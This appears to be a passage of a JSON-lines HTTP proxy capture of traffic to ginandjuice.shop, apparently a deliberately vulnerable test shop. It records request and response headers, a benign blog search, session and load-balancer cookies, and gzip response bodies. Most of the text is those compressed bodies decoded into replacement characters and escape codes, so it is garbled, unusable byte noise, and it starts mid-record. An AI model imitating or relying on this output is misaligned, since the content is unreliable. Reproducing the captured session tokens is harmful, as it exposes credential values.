000e~Ǚ\\ufffdT\\t\\ufffd\\ufffdWZ\\u000b9\\ufffdR\\ufffd\\u0018V\\ufffd\\\\\\ufffd\\ufffd\\u0017\\ufffd\\ufffd\\ufffdVi\\ufffd\\ufffd\\ufffd\\u0000w\\ufffd\\ufffd-\\ufffd[\\u0002\\ufffd5*\\ufffd\\ufffd\\u0011\\ufffdPJ\\u0012\\ufffd\\ufffd\\ufffdp8\\ufffd\\ufffd^:\\ufffdm\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdt\\u0008\\ufffd;9\\ufffd\\ufffd\\ufffdd\\u000e\\ufffd\\ufffd]n\\ufffdqrR\\ufffdõ\\u0005\\ufffd5\\ufffd\\u0017\\ufffdw\\ufffd\\ufffd\\ufffd\\u000e\\u000e\\u000f;\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdh5?ID\\ufffd\\u000b\\ufffd!39jd\\u0026{\\u0006X\\ufffd\\ufffd8\\ufffd\\ufffd\\u0002N\\ufffdFm\\ufffdze_\\ufffd\\ufffd=`@:\\ufffd\\ufffd\\ufffdА\\ufffdw\\ufffd=\\ufffd\\\\25\\ufffd\\ufffd\\ufffd\\ufffd\\u000f\\u0007`\\u0026u^ֹ\\u0019\\ufffdf,W\\u003c\\u0016\\ufffdQع\\ufffdѥ\\ufffd\\ufffdǬĶ\\ufffd\\ufffd\\u001e\\ufffd\\u0004u]\\ufffd\\u0026\\ufffdT\\u0026\\ufffdЁn\\ufffd\\ufffdk6\\ufffd\\ufffd\\u0014uX\\ufffd;\\ufffd\\u0019\\u0007uL\\ufffd9\\ufffdr\\ufffdIW\\ufffdB\\ufffd\\u0018\\u0005\\ufffd\\u0006\\ufffd\\ufffdu\\ufffd\\t\\ufffd]\\ufffd\\u0005\\ufffd\\ufffd\\u0011\\ufffd\\ufffd{\\r\\ufffd$7ܺu{doB\\ufffd\\ufffd\\ufffdf?=o\\u0006[=\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd'\\ufffdSX\\u0012\\ufffdM\\ufffd\\ufffd\\ufffd[\\ufffd^\\ufffd\\ufffdohm\\ufffdQ\\ufffd*\\ufffdF\\ufffd\\ufffd\\ufffd =\\u0019=e\\ufffdsYT\\ufffd\\u0005G\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdaI\\ufffd$\\ufffd\\u001e{\\ufffd\\u000be,KE!\\u0018\\ufffd\\ufffd\\ufffdv\\ufffd9\\ufffds\\ufffd|\\n#\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdS\\ufffdX\\ufffd\\u003cUPj\\ufffdD\\ufffd\\ufffdB\\u0001\\ufffd\\ufffdO\\u0006\\n\\ufffd\\ufffd\\ufffd\\ufffd.\\ufffd\\u003e\\ufffd|,\\ufffd\\n\\ufffd\\ufffdW\\u000bvr\\ufffd:F9%\\ufffd\\ufffd\\ufffd1Ȕ\\ufffdr\\ufffd\\ufffd\\ufffd;a\\ufffd\\ufffd:\\ufffd\\ufffdX\\ufffdI\\ufffdLX\\u0004\\ufffd]vi\\ufffd\\u000fx\\ufffd\\u0018\\u0019t\\ufffd\\u001a-X̕\\u0002B7\\ufffd\\ufffd\\ufffdm_\\ufffd}a|l\\ufffd\\ufffd\\ufffd\\u003eu\\ufffd]\\ufffd9\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd;\\ufffd\\ufffd\\ufffd\\ufffd\\u000f!g\\ufffd\\u0010r\\ufffd\\u0012!\\u001f\\ufffd\\ufffd\\ufffd\\u0026\\ufffd\\ufffd\\ufffd\\u0014\\ufffd\\u001c\\ufffd\\u0008B\\u00162\\ufffd\\ufffd\\ufffd\\ufffd{d\\ufffd\\u0005\\ufffd(\\u0005\\ufffdq\\ufffd~\\ufffd\\\\\\ufffdj\\u001d\\u0019\\ufffdK\\ufffd\\ufffd\\u000c\\n2\\ufffd\\ufffd\\u0000\\ufffdt\\ufffd\\ufffd\\ufffdHk\\ufffd'K\\ufffdL\\ufffd\\ufffd\\ufffd\\u001d\\ufffd\\ufffdf\\u000e8\\u0019F9r\\ufffd\\ufffdj\\u003cI\\ufffdLI\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdz\\u000e4\\ufffd\\ufffdע˞\\ufffdj\\ufffd+\\u0010\\ufffd\\u0005\\ufffd\\u0000uW\\ufffd\\ufffd\\u0003 9\\ufffd\\ufffd\\u0017\\ufffd\\ufffd\\u0001\\ufffdㅠ\\u0004\\ufffd\\ufffd\\ufffd\\ufffd*\\ufffd\\u0000Ew\\u0000\\ufffd\\ufffd\\u001f\\u000f:\\ufffd[A\\ufffd\\ufffd-t\\n@\\ufffd\\ufffdq\\u001b\\ufffd\\u0002\\ufffdU\\ufffd\\ufffdL\\u001b\\ufffd\\u001e*}ivn\\u0015\\ufffd\\ufffd\\ufffdD\\ufffd\\ufffdQ\\u0018 \\ufffd\\u003cS\\u0004C\\u0003\\u0013Q\\u0008\\ufffd:`(\\ufffd\\ufffd֡\\ro4\\ufffd\\ufffd\\ufffdN\\ufffd\\n(,\\ufffd\\ufffdMq\\r\\ufffd\\u0000@\\r\\ufffdd\\u0015\\ufffd\\ufffd\\ufffdZ\\u0018\\ufffd\\ufffdS\\u001d\\u000e\\ufffdx\\ufffd\\u00263\\ufffd\\u0015\\ufffd\\ufffdA\\u000fH\\ufffd\\u0014S\\u003e\\u0013`}\\u0007\\u0018y\\ufffd\\ufffda\\ufffd\\ufffd\\u0015F\\u001e\\ufffd¼|He\\ufffd\\ufffd\\ufffd\\ufffd\\u0010\\ufffd\\ufffd\\u0013JM\\u0026\\ufffd\\u000by\\ufffd\\ufffdy\\ufffdpx\\ufffdo^I\\ufffd+\\ufffdֲ\\ufffd,\\\\J6\\u0006ˆ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd%A\\ufffd\\ufffd}\\u0012\\ufffd\\ufffd\\u0013*\\ufffdѠ2\\ufffd\\ufffd|\\ufffdu\\u0012,\\u0011\\ufffd\\u000bo\\ufffd\\ufffd\\ufffdJ\\ufffdK\\ufffdDL\\ufffd\\u000e\\u0006\\ufffd\\u0011Z\\ufffd\\ufffd\\u0002x\\ufffd\\ufffd\\\"\\ufffd\\ufffd\\ufffd0\\ufffd\\ufffd\\u0013ai*\\u000b5)`^\\u0012\\ufffd'd\\u0013\\ufffd\\u0015\\ufffd\\ufffd\\ufffd\\u0003\\ufffd\\ufffd\\ufffdx\\ufffdy\\ufffd\\n0\\ufffd\\ufffd\\ufffd\\ufffdc\\ufffd\\u000b$\\u0008\\u0006J\\ufffd\\ufffd\\u0015?s\\u0010?\\ufffd\\u0013\\u001f\\ufffdx+\\ufffd\\ufffdcz\\u0001X\\ufffd\\ufffd\\ufffdR\\u0005t\\ufffd\\ufffd.2E\\ufffd,\\u0003\\ufffd\\ufffd\\ufffdK\\ufffd\\u000bN\\u000e\\u0008:!.ށ\\ufffd0\\ufffd\\ufffd\\u0006\\t;\\ufffd\\u0026\\u000f¼\\ufffd~/%\\u000b1\\u0016\\u0008|9+|DC\\ufffd\\u0007\\ufffdS\\u0011\\ufffd\\u0015r`\\ufffd,\\ufffd9\\ufffd\\u0007A\\u0016\\u0000\\ufffd\\ufffd;\\t\\ufffd\\u0000\\u0019E3\\ufffd\\ufffd\\ufffd5\\ufffd\\ufffd\\u0019H\\ufffd\\u0003\\ufffd\\u003c\\ufffd\\ufffd\\ufffd\\ufffdo\\u0005\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0010\\ufffdǕ\\ufffdH\\u001c\\ufffdJP\\u0001\\ufffdJo\\ufffd\\ufffd\\ufffdB3:\\u0016В\\ufffd'o\\ufffd\\ufffd:\\ufffd\\ufffd\\ufffd\\ufffdCX\\u0003\\ufffd\\u0015\\ufffd֋0\\ufffd\\ufffdB\\ufffd7P\\ufffd\\ufffd\\ufffd\\ufffdC\\ufffd\\ufffd|aPV\\ufffdR\\ufffd37\\ufffdJ\\ufffd-\\ufffd\\u000b~i\\\"\\ufffd\\ufffd\\ufffd\\ufffd\\r\\ufffd\\ufffd\\ufffd;\\ufffd\\ufffd\\ufffdW\\ufffd\\ufffdx\\t\\ufffd\\ufffd0E\\ufffd\\ufffd\\ufffdp\\u000f\\u0004\\ufffd\\ufffd\\u00001\\ufffd=\\ufffdV\\ufffd\\ufffd\\ufffdon@nb\\u000cNog^Pֱ\\ufffdҰ\\ufffd\\u0001\\ufffd*\\u0005\\ufffd\\ufffd\\ufffd\\ufffdPyjϒ6\\ufffd\\ufffd\\ufffd\\ufffdl\\ufffd!\\u0000\\u001a\\ufffd\\n\\ufffds2\\u0004\\ufffd\\ufffd\\ufffd/\\ufffd\\ufffdrLՀ\\ufffd\\u0000\\u0010\\ufffd\\u00071\\ufffd\\u001a0et\\ufffd\\ufffd\\ufffdF%s\\u0000\\u0016\\ufffdͲRKW\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdו\\ufffd\\ufffd\\ufffdk\\ufffd#F\\u001cC\\u003eN|\\ufffdUi%\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd6b\\ufffd8]Hyi@\\ufffd\\u001e\\ufffd\\ufffd\\u0016\\ufffd\\n\\ufffd\\ufffdF)\\ufffd\\ufffd\\ufffd\\u0017\\\\\\ufffdN\\ufffd3 \\ufffd\\u0000\\ufffd\\ufffd\\ufffdB\\u0016\\ufffd}k\\ufffd-J!˽\\ufffd7\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0017YD'\\ufffdw\\ufffd\\ufffdG\\ufffd-Qh\\ufffdK\\\"7U\\ufffd\\u001b\\u0006\\ufffd\\ufffd\\\"\\ufffd\\ufffdg)\\u000b\\ufffd\\u0001\\ufffd\\u001a!\\ufffd\\ufffd\\ufffdP\\ufffd\\u0008\\ufffd\\ufffdRI\\ufffd\\ufffd7\\ufffd$\\ufffdj\\u000f\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdB\\ufffd$\\ufffd\\ufffd\\u0000\\ufffdm1\\ufffd\\u0016\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd~\\u001e\\ufffd\\ufffd\\ufffd.Ӌ\\ufffd\\ufffd^O\\ufffd\\ufffd\\ufffd\\ufffdwo\\ufffdx\\ufffd\\ufffd˖E\\ufffd\\ufffd\\ufffdt\\ufffd\\ufffd2\\ufffd\\\\\\ufffdL\\ufffd\\ufffd\\ufffd!\\ufffd@{\\ufffd\\u0015F\\u0001\\ufffdѝ\\ufffdrHȕ\\ufffd\\ufffd\\u001f\\ufffd\\ufffd|\\u001fXa\\ufffd\\u0000Bt\\u0016\\ufffd4:V2\\ufffd\\ufffd\\ufffd\\ufffd{\\ufffd/\\ufffdH\\u000fp\\u001a\\ufffd{H'\\ufffdЪ\\ufffd\\ufffd)\\ufffdĴ\\ufffdяN\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffds:ad\\t*\\ufffd[\\ufffd\\u0014![͞\\ufffd\\ufffd\\\\\\ufffd\\ufffd\\u0008\\ufffd\\ufffdn\\ufffd\\ufffd\\ufffd2\\ufffd\\u0004\\u003e\\ufffd(l\\ufffdw\\ufffd\\u0013S\\ufffd\\u0004R\\ufffdނ\\ufffd£Ԭk\\ufffdK%,\\ufffdFצb\\ufffd\\u001a\\ufffd\\ufffd\\n\\ufffd\\ufffd\\ufffdM\\u0003u`*Eҁ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdc\\ufffd\\ufffd\\ufffdo\\ufffdt\\u000b\\ufffd|\\ufffd4\\ufffdU\\u0015\\nUaz\\ufffd\\ufffd\\ufffdg\\u0001\\ufffd\\ufffdJN\\ufffd\\u001b!\\ufffdC\\ufffd8\\ufffd\\ufffd\\ufffd\\ufffd\\n\\ufffdy\\nS\\ufffdWK{m\\ufffd-\\ufffd:tr{ᠶ\\u000b\\ufffd\\u0016^\\u000f\\ufffd\\ufffd\\ufffd\\ufffd-\\ufffd7}\\ufffdd\\ufffd\\ufffd\\ufffd\\ufffd6\\ufffdj\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffda'?\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdp\\u00198\\ufffd7.\\ufffd\\ufffdX\\ufffd\\ufffd\\ufffdKv\\ufffd\\ufffd^\\ufffd\\ufffd;\\ufffd\\ufffdq\\ufffdր\\u0004\\ufffd\\ufffd\\ufffd\\\",y\\ufffd\\ufffd|nY\\ufffd\\ufffd\\ufffdR\\ufffd7\\u0007n\\ufffd\\u000fm\\ufffd\\u001f\\ufffdZ|7\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd{\\ufffdjn\\ufffd\\u0015֮1\\ufffd^wD\\ufffd\\ufffd\\ufffd\\ufffd 5|\\ufffd\\ufffd\\u0019\\ufffd\\ufffd+\\ufffd\\ufffd\\u001a\\ufffd\\u0004\\ufffd\\ufffd\\ufffdI\\ufffd?\\ufffd\\ufffd%C\\ufffd*\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 2646\\r\\nContent-Encoding: gzip\\r\\nContent-Type: text/html; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:34:04 GMT\\r\\nSet-Cookie: AWSALB=+kt6Ib2lLrBXa4YCECeKwNyIl2PFt7T1knMc4Ed88f+NSWWr4GdaZPWIqyaJBNi2eoCbLJMcYgimR45FELKCqRmtTLdXLFD6x+MBEnFw43yIfk3L1QGW79pv1ip2; Expires=Thu, 14 Sep 2023 15:34:04 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=+kt6Ib2lLrBXa4YCECeKwNyIl2PFt7T1knMc4Ed88f+NSWWr4GdaZPWIqyaJBNi2eoCbLJMcYgimR45FELKCqRmtTLdXLFD6x+MBEnFw43yIfk3L1QGW79pv1ip2; Expires=Thu, 14 Sep 2023 15:34:04 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:04:07+05:30\",\"url\":\"https://ginandjuice.shop/blog/?search=dadad\\u0026back=%2Fblog%2F\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=+kt6Ib2lLrBXa4YCECeKwNyIl2PFt7T1knMc4Ed88f+NSWWr4GdaZPWIqyaJBNi2eoCbLJMcYgimR45FELKCqRmtTLdXLFD6x+MBEnFw43yIfk3L1QGW79pv1ip2; AWSALBCORS=+kt6Ib2lLrBXa4YCECeKwNyIl2PFt7T1knMc4Ed88f+NSWWr4GdaZPWIqyaJBNi2eoCbLJMcYgimR45FELKCqRmtTLdXLFD6x+MBEnFw43yIfk3L1QGW79pv1ip2\",\"Referer\":\"https://ginandjuice.shop/blog\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/blog/\",\"scheme\":\"https\"},\"raw\":\"GET /blog/?search=dadad\\u0026back=%2Fblog%2F HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=+kt6Ib2lLrBXa4YCECeKwNyIl2PFt7T1knMc4Ed88f+NSWWr4GdaZPWIqyaJBNi2eoCbLJMcYgimR45FELKCqRmtTLdXLFD6x+MBEnFw43yIfk3L1QGW79pv1ip2; AWSALBCORS=+kt6Ib2lLrBXa4YCECeKwNyIl2PFt7T1knMc4Ed88f+NSWWr4GdaZPWIqyaJBNi2eoCbLJMcYgimR45FELKCqRmtTLdXLFD6x+MBEnFw43yIfk3L1QGW79pv1ip2\\r\\nReferer: https://ginandjuice.shop/blog\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"2075\",\"Content-Type\":\"text/html; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:34:07 GMT\",\"Set-Cookie\":\"AWSALB=ZJm/2Bx+PPBvRylO0Q4ANLyMc0beelNKLpyYHasVfthZ3FRdadKIrIFFGUK658OSRpW4bg89XZl70Af+XA6qbw2pno1/pPHTdoRXm4gW2bRwl59JyYaXuecXXx4s; Expires=Thu, 14 Sep 2023 15:34:07 GMT; Path=/, AWSALBCORS=ZJm/2Bx+PPBvRylO0Q4ANLyMc0beelNKLpyYHasVfthZ3FRdadKIrIFFGUK658OSRpW4bg89XZl70Af+XA6qbw2pno1/pPHTdoRXm4gW2bRwl59JyYaXuecXXx4s; Expires=Thu, 14 Sep 2023 15:34:07 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffdZ͒\\ufffd6\\u0012\\ufffd\\ufffd)`\\ufffd\\ufffd\\u001cUB13\\ufffd\\ufffd\\u000f#jk\\ufffd\\ufffdz+5v\\ufffd;\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd@\\ufffd\\ufffd\\u0007$\\u0018\\u0000\\ufffd\\ufffd\\ufffd\\ufffd\\u0003\\ufffd5\\ufffddi\\u0000$EI\\ufffdH\\ufffd\\ufffdj\\u000f\\ufffd]%\\u0012@7\\u001a\\ufffd\\u000f\\ufffd_C3{\\ufffd\\ufffd\\ufffd'\\ufffdz\\ufffd\\u000c\\ufffdt\\ufffd\\ufffd_\\ufffd\\ufffd\\u0017\\ufffd\\ufffdlEq\\ufffd\\u001e\\ufffd+g\\ufffd\\u001dZI\\ufffd\\ufffdBI\\ufffd($\\ufffd*\\ufffdxa\\ufffdQ\\u0019\\u0012\\ufffdBEp\\ufffd\\ufffd\\ufffd\\ufffd6L\\ufffd\\u0001I\\ufffd#\\ufffdKNՊR=\\ufffd̨\\u0000\\ufffdꚋ\\ufffd#\\ufffdo\\ufffd\\ufffd\\ufffd\\u001eW\\ufffdR\\ufffdQ\\ufffdS\\u001aykF7\\ufffd\\ufffd\\ufffdCDd\\ufffdf:\\ufffd6,֫(\\ufffdkFh`_\\ufffdF\\ufffd\\ufffd2\\ufffd\\u0005\\ufffd\\u000c\\ufffdF\\ufffd\\ufffdZ\\ufffd\\u0014\\ufffd,\\ufffdHI\\u0012y-\\ufffd\\ufffd+x\\ufffdDOA\\u0013\\ufffd\\\"OA\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdI\\ufffdW\\u0011\\ufffd\\\"=A\\ufffd.sX\\ufffd\\ufffd\\ufffd:|\\ufffd\\ufffdصz]\\ufffdq\\ufffd\\u0014\\u001c\\ufffdw\\ufffd\\ufffd\\ufffd\\ufffdq\\ufffdV\\ufffd4\\ufffd\\ufffd\\ufffd,C\\u000fq\\ufffd_\\ufffd\\ufffd\\np\\u000c\\ufffd]\\ufffd|\\u0016\\ufffd\\u003e\\ufffd\\ufffdp\\u000b\\ufffd\\ufffdB\\ufffd%ʒ\\u0000\\ufffdyKS\\ufffdֈő\\ufffdFJ˓n\\r\\ufffdh\\u00262D8V*\\ufffd\\u001c\\ufffd\\ufffd\\ufffd:\\ufffd\\ufffdgO\\ufffd\\n\\ufffd\\ufffdm\\ufffd\\ufffdz\\ufffd\\u0014\\ufffd\\ufffd\\u0018Ŕ\\ufffd\\u0005\\ufffdXS^\\ufffdu\\ufffd3x\\ufffd\\ufffdD\\u001b\\ufffd@`#g\\u0004\\ufffdYa\\u001e\\ufffdd4FK!\\ufffd\\ufffdJ\\ufffd,1\\ufffd\\u001ef\\u000b\\ufffd_Ղ\\ufffd3]\\ufffd\\u0026\\ufffd\\u0014hS\\ufffdN\\u0003f*\\ufffd\\ufffdR\\u000cl=$\\ufffdT\\u0000\\ufffd`\\u0017\\ufffd4X\\ufffdb\\ufffd\\ufffd\\ufffd{w\\ufffd\\\"t\\ufffdt\\ufffd\\ufffdn\\ufffd\\ufffdNo\\n\\ufffd\\ufffd\\ufffdK\\ufffd[wCk\\ufffd\\ufffd~\\ufffd#\\\\\\ufffd\\ufffdǖ\\ufffd\\ufffd=\\ufffdÇ\\ufffd=\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\t\\ufffd\\ufffd\\ufffdV\\ufffd\\ufffd\\u0016\\ufffd3\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdo9I\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdy\\ufffd\\ufffds\\ufffd\\ufffd\\\"\\ufffd\\ufffd\\ufffd)66\\ufffd\\u003ePM[\\ufffdί\\ufffdA\\ufffdEG\\ufffdeG\\ufffd#o\\ufffd\\ufffdШ\\u0004\\u003c\\ufffdj\\u001f\\ufffd\\u0016H\\ufffd\\ufffdݺ\\u0007\\ufffdep\\u0007\\\\\\ufffd=\\ufffd\\ufffd@\\ufffd\\ufffd\\ufffdX\\ufffd\\u001dl\\ufffd\\ufffdD~\\ufffdZ\\u0003o7\\ufffd\\ufffd\\u0012\\ufffd`X7.g؅/?\\ufffdPӡN٘\\u0016@`\\u0014p@\\ufffd\\ufffdGm\\ufffd{:\\ufffd\\ufffd\\ufffd\\ufffd\\r\\u0006\\ufffd\\ufffd2\\u0019\\u0019Q\\ufffd\\u001a\\ufffd0\\ufffd%\\u0016\\u0013Au`\\r\\ufffd\\u0015\\ufffd%K\\ufffd,\\ufffd[\\ufffd\\ufffd=P\\ufffd\\ufffd\\ufffd ;\\u0010\\ufffdS/\\n\\ufffd!(8\\ufffdz! \\u0013\\ufffd\\ufffd\\u0000\\u0019R\\ufffd\\u0005Ѫ\\ufffd);\\ufffd\\ufffd1\\u0013\\ufffdu\\ufffd\\ufffd\\ufffdh\\u001a7f.\\ufffd\\ufffd\\u0026\\ufffd\\ufffd?\\ufffdט\\ufffd\\u0017\\ufffd\\ufffd\\ufffd\\ufffd{s\\ufffd\\ufffd\\ufffd\\ufffd'2n\\u0016\\u0016\\ufffd\\ufffd\\ufffd\\u0004\\ufffdQd\\ufffdgF\\u0013\\u0026D\\u0014\\ufffd\\u000e\\u0018iy%-\\ufffd\\ufffd\\u001d\\ufffd\\ufffdZ'\\ufffd\\u0019\\u0004\\ufffd\\ufffds\\ufffdO\\u0001\\ufffd\\ufffd\\ufffd\\u0002\\ufffdz\\ufffd\\u0014F\\ufffd\\ufffd\\u0013\\ufffd/\\u0008\\ufffd4k\\ufffd\\ufffdqo\\ufffd\\ufffdq\\u0003OZ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd^\\ufffd\\ufffdH\\u0010\\ufffdF[l\\ufffd\\ufffdB\\ufffd\\ufffd5\\ufffdE\\ufffd\\ufffd\\ufffd\\ufffdd\\ufffd0\\ufffd\\ufffd\\ufffd\\ufffd\\u0000\\ufffd\\u0012,\\ufffd\\ufffdZE\\ufffd\\ufffd\\ufffd\\u0018\\ufffd\\ufffd\\u0014x^\\ufffd\\ufffd5\\ufffd\\u0016\\ufffd[\\ufffd\\ufffd\\ufffdv\\ufffd\\ufffd[\\u0007?\\ufffd\\\"I8\\ufffd\\ufffd\\ufffdN\\ufffddIb\\ufffd\\ufffd[M\\ufffd\\ufffd\\ufffd\\u0017\\ufffd\\ufffdc\\ufffd\\ufffd,\\ufffdM\\ufffd=)\\ufffd\\ufffd\\ufffd\\ufffdX썲\\ufffd\\u0019\\u0018\\ufffd\\ufffdE\\\\R8J\\ufffdS\\ufffd\\ufffdM\\ufffd\\ufffdb\\ufffd\\ufffdL\\ufffd5\\ufffd\\ufffd\\u0002\\u00079\\ufffdnOȜ\\ufffd0\\ufffd8\\\\h\\ufffd\\ufffd\\ufffdp\\u0015\\ufffd\\ufffd\\u0004C\\ufffdݧ\\ufffd\\ufffdJp\\ufffd\\ufffdÎ\\ufffde\\ufffd\\ufffd[\\ufffd\\ufffd4\\ufffd\\u0012\\ufffdP\\ufffd\\ufffd\\ufffd\\ufffd䈀\\ufffdX\\ufffd\\u0015\\u0004)\\ufffdɞT\\ufffd\\ufffd;~u\\ufffdG\\ufffd\\u0000\\ufffd@\\n\\ufffdĈD6y\\ufffd\\u0008\\ufffdȕ\\ufffd\\ufffd\\ufffd\\ufffd^\\u000f\\ufffd\\ufffdeyQ\\u0015e\\ufffd\\u0026C9Ǆ\\ufffd\\u0004\\u0007\\ufffdE\\ufffd\\ufffd\\ufffd\\ufffdrV\\ufffdv:\\ufffd\\ufffd\\ufffd2u\\u0026\\ufffd5\\ufffd\\ufffd\\ufffd\\ufffd\\u0018\\ufffd\\ufffd\\ufffdΖ\\ufffd\\u0015\\ufffdc\\ufffd9\\ufffd\\u0005\\u0026w\\ufffd\\ufffd\\ufffds O\\ufffd*\\ufffdb5\\ufffdb\\ufffd2]\\ufffd\\ufffdu̝\\ufffd\\ufffd\\ufffdz=r^\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdɯ\\ufffd\\ufffdc;e\\u003e\\ufffd\\\"s\\ufffd\\ufffd%\\ufffd\\ufffdYt\\ufffdKAe9A\\ufffd;\\ufffd\\ufffdX\\ufffd\\ufffdV\\ufffd\\u001b\\ufffd4=\\ufffdg,M\\u000e\\n\\ufffd*\\ufffdY倞\\ufffd-\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0014x\\ufffdWv\\ufffd\\ufffd|o\\ufffdO\\ufffdz\\ufffd\\ufffd\\ufffd\\ufffdg\\ufffd%\\ufffd*\\ufffd`:\\ufffd\\ufffd\\u0006\\ufffd\\ufffd\\ufffd\\u001b\\ufffd\\ufffdW\\u0006\\ufffd\\ufffd.\\ufffd\\ufffd\\ufffdj\\ufffdf\\ufffdL\\ufffd\\t\\ufffdg\\ufffd{;65[\\ufffd\\ufffdơ\\ufffdN]\\ufffdI\\ufffd\\ufffd\\u00064`kJ\\ufffdL\\u0004\\ufffd\\ufffd\\ufffd\\ufffdc\\ufffd\\ufffd\\u001d\\ufffdF\\t\\ufffd\\u000b\\ufffdIk0\\ufffd%6\\ufffd(\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\\\\\ufffd[o5\\u0026\\ufffd.\\ufffd\\ufffdB\\ufffd\\ufffd\\u0001z)\\ufffd\\ufffd\\u0000-\\ufffds\\ufffd\\u0010\\ufffd.\\ufffd͟_\\ufffdQ\\ufffdE\\ufffdk\\ufffd\\ufffd5EE\\ufffd\\u0002DV\\u0014\\ufffd\\ufffd\\ufffd\\u000b*\\ufffd\\ufffd\\ufffd{\\u0008s%\\u0001 